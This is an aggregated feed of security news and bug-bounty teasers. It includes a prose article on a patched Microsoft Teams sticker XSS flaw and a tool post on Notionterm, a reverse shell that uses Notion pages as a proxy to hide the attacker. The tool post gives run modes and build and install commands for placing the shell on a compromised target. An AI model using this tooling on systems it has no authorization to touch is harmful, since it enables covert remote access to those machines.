Hacking on Medium
बेस्ट साइबर सिक्योरिटी कोर्स इन हिंदी 2022

https://cdn-images-1.medium.com/max/770/0*y5MBVjiks7j0Ohmv.png
CYBER SECURITY CYBER SECURITY AWARENESS ETHICAL HACKER ETHICAL HACKING ETHICAL HACKING COURSE NEAR ME ETHICAL HACKING COURSE ONLINE…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Poison Proxy-Bypass HTTPS and VPN to Hacking Yur Online Identity

https://cdn-images-1.medium.com/max/640/0*vzL2HLY1d60vGeG8.png
Poison Proxy-Bypass HTTPS and VPN to Hacking Yur Online Identity

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Danish DPA bans Google Workspace for municipalities

https://external-preview.redd.it/ynLvCMk6YurHERS1H7VT_XdV07IyK1qnqaFHWBIX3GY.jpg?width=640&crop=smart&auto=webp&s=85a682b06c757e494667093db09e7a35366315b7 submitted by /u/DonutAccomplished422
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/l600YoTih2-vKwmkCeFrk9giRRTqmwelh0yvQIOKt6A.jpg submitted by /u/Unlucky-Box-1062
[link] [comments]

How I spammed a Google meet (But for good)

Hacking isn’t always about account takeover, authentication bypass, or authorization abuse. Sometimes it’s about functionality abuse and…Continue reading on Medium »
Read more...

Ability to login as google staff in Google Cloud Community

-Gaurav Bhatia (Bug Hunter, CTF Player)Continue reading on Medium »
Read more...

Black Hat Ethical Hacking
Microsoft Teams security vulnerability left users open to XSS via flawed stickers feature

Microsoft Teams security vulnerability left users open to XSS via flawed stickers featurePost Views: 10 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes
A security researcher has found that attackers could abuse the popular sticker feature in Microsoft Teams to conduct cross-site scripting (XSS) attacks.

Microsoft Teams, alongside comparable teleconferencing services including Zoom, have experienced a surge in popularity over the past few years.

The Covid-19 pandemic forced organizations to adopt work-from-home models whenever possible. In the aftermath, employees have often been given the option of either staying remote or going hybrid.

With so many users, any vulnerability in Microsoft Teams could have widespread impact. As such, cybersecurity researchers, including Gais Cyber Security’s senior cybersecurity specialist Numan Turle, have examined the software for potential flaws. Sticky subjectIn 2021, Turle uncovered CVE-2021-24114. Issued a CVSS score of 5.7, the bug was discovered in the preview process of images sent via Teams to leak Skype tokens (PDF) and trigger an account takeover vulnerability in Teams iOS.

A year on, the researcher decided to examine Microsoft Teams’ sticker function for new security issues. ​See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course
When a sticker is sent via Teams, the platform converts it into an image and uploads the content as ‘RichText/HTML’ in the subsequent message.

Turle inspected the HTML request using Burp Suite and tried out typical attributes – to no avail, due to the protections offered by Microsoft’s Content Security Policy (CSP).

CSP is designed to mitigate a range of common web attacks, including XSS.

However, after plugging the CSP into Google’s CSP Evaluator tool, the researcher found a CSP defect – the script-src field was flagged as unsafe, which paved the way for potential HTML injection attacks against multiple domains. Trying a different angleMicrosoft had plugged these security holes via Azure domain changes. So, after digging deeper and inspecting Teams in-browser, Turle uncovered a JavaScript element, angular-jquery, that could be used as an alternative.

jQuery with Angular is a JavaScript framework for managing HTML and CSS interactions. However, this version was out of date and vulnerabilities in the outdated version (1.5.14) – could be utilized to bypass the CSP.
Trending: How do QR Codes work and how criminal hackers use them to generate phishing attacks – Demo
Trending: OSINT Tool: Pagodo
After crafting a malicious iframe with help from HTML encoding, the researcher was able to create a malicious payload, sent via the stickers function in Teams, to trigger XSS, obtained through user interaction.

Turle disclosed the XSS issue to Microsoft on January 6. The vulnerability was patched in March and the researcher was awarded a $6,000 bug bounty. The Daily Swighas reached out to Gais Cyber Security and Microsoft and we will update when we hear back.

Full details can be found in a technical blog post from Turle. ​Trending: New RedAlert Ransomware targets Windows, Linux VMware ESXi servers
Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a q[...]

uote: info@blackhatethicalhacking.com
Source:  portswigger.net Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Untitled-design-300x150.png Microsoft releases tweet-size exploit for macOS sandbox escape bugJuly 14, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Images_for_the_Website_posts-300x150.png Microsoft fixes dozens of Azure Site Recovery privilege escalation bugsJuly 13, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/FTDZNGKMCJPIDKR5RE7MSLIMB4-scaled-300x150.jpg News – new template postJuly 13, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/remotelyunlock-honda-1-1-300x150.jpg Hackers Say They Can Unlock and Start Honda Cars RemotelyJuly 12, 2022
Reading Time: 4 minutes
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post Microsoft Teams security vulnerability left users open to XSS via flawed stickers feature first appeared on Black Hat Ethical Hacking.

How I spammed a Google meet (But for good)
https://medium.com/@shaunak007/how-i-spammed-a-google-meet-but-for-good-8bc5b328f1bb?source=rss------bug_bounty-5

Hacking isn’t always about account takeover, authentication bypass, or authorization abuse. Sometimes it’s about functionality abuse and…Continue reading on Medium » (https://medium.com/@shaunak007/how-i-spammed-a-google-meet-but-for-good-8bc5b328f1bb?source=rss------bug_bounty-5)

Ability to login as google staff in Google Cloud Community
https://medium.com/@bhatiagaurav1211/ability-to-login-as-google-staff-in-google-cloud-community-57c45809de05?source=rss------bug_bounty-5

-Gaurav Bhatia (Bug Hunter, CTF Player)Continue reading on Medium » (https://medium.com/@bhatiagaurav1211/ability-to-login-as-google-staff-in-google-cloud-community-57c45809de05?source=rss------bug_bounty-5)

Bug Bounty is scam on HackerOne

submitted a low severity bug a on a subdomain and got a bounty for that , the  next day i have submitted a critical bug on same subdomain…Continue reading on Medium »
Read more...

Kali Linux Tutorials
Notionterm : Embed Reverse Shell In Notion Pages

Notionterm is a Embed Reverse Shell In Notion Pages

* Hiding attacker IP in reverse shell (No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell)
* Demo/Quick proof insertion within report
* High available and shareable reverse shell (desktop, browser, mobile)
* Encrypted and authenticated remote shell

The focus was on making something fun while still being usable, but that’s not meant to be THE solution for reverse shell in the pentester’s arsenal

Requirements

* Notion software and API key
* Allowed HTTP communication from the target to the notion domain
* Prior RCE on target

Set-up

* Create a page and give to the integration API key the permissions to have page write access
* Build notiontermand transfer it on target machine (see install)

Run

There are 3 main ways to run notionterm:“normal” mode
Get terminal, stop/unstop it, etc…notionterm [flags]
Start the shell with the button widget: turn ON, do you reverse shell stuff, turn OFFto pause, turn ONto resume etc…“server” mode
Ease notionterm embedding in any pagenotionterm --server [flags]
Start a shell session in any page by creating an embed block with URL containing the page id (CTRL+Lto get it): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID].light mode
Only perform HTTP traffic from target → notionnotionterm light [flags]

Install

As notiontermis aimed to be run on target machine it must be built to fit with it.

Thus set env var to fit with the target requirement:

GOOS=[windows/linux/darwin]

Simple build

git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go

You will need to set API key and notion page URL using either env var (NOTION_TOKEN & NOTION_PAGE_URL) or flags (--token & --page-url)

“All-inclusive” build

Embed directly the notion integration API token and notion page url in the binary. https://s.w.org/images/core/emoji/14.0.0/72x72/26a0.png everybody with access to the binary can retrieved the token. For security reason don’t share it and remove it after use.

Set according env var:

export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]

And build it:

git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS go build notionterm.go
Download